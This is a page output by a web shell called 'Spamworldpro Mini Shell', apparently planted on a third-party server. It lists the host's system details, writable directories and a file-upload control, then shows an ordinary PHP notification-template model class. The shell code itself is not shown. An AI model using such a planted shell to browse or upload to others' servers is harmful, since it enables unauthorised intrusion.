Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ledger.corals.io/Corals/core/User/Communication/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ledger.corals.io/Corals/core/User/Communication/Models/NotificationTemplate.php
<?php

namespace Corals\User\Communication\Models;

use Corals\Foundation\Models\BaseModel;
use Corals\Foundation\Transformers\PresentableTrait;
use Spatie\Permission\Traits\HasRoles;


/**
 * Class NotificationTemplate
 * @package Corals\User\Communication\Models
 * @property integer id
 * @property string name
 * @property string title
 * @property array body
 * @property array via
 * @property array extras
 * @property array forced_channels
 */
class NotificationTemplate extends BaseModel
{

    use HasRoles, PresentableTrait; // for morph relation with model_has_roles table

    /**
     *  Model configuration.
     * @var string
     */
    public $config = 'notification.models.notification_template';

    protected $guarded = ['id'];

    protected $casts = [
        'body' => 'array',
        'extras' => 'array',
        'via' => 'array',
    ];

    public function getForcedChannelsAttribute()
    {
        return $this->via ? array_diff($this->via, ['user_preferences']) : [];
    }
}

Spamworldpro Mini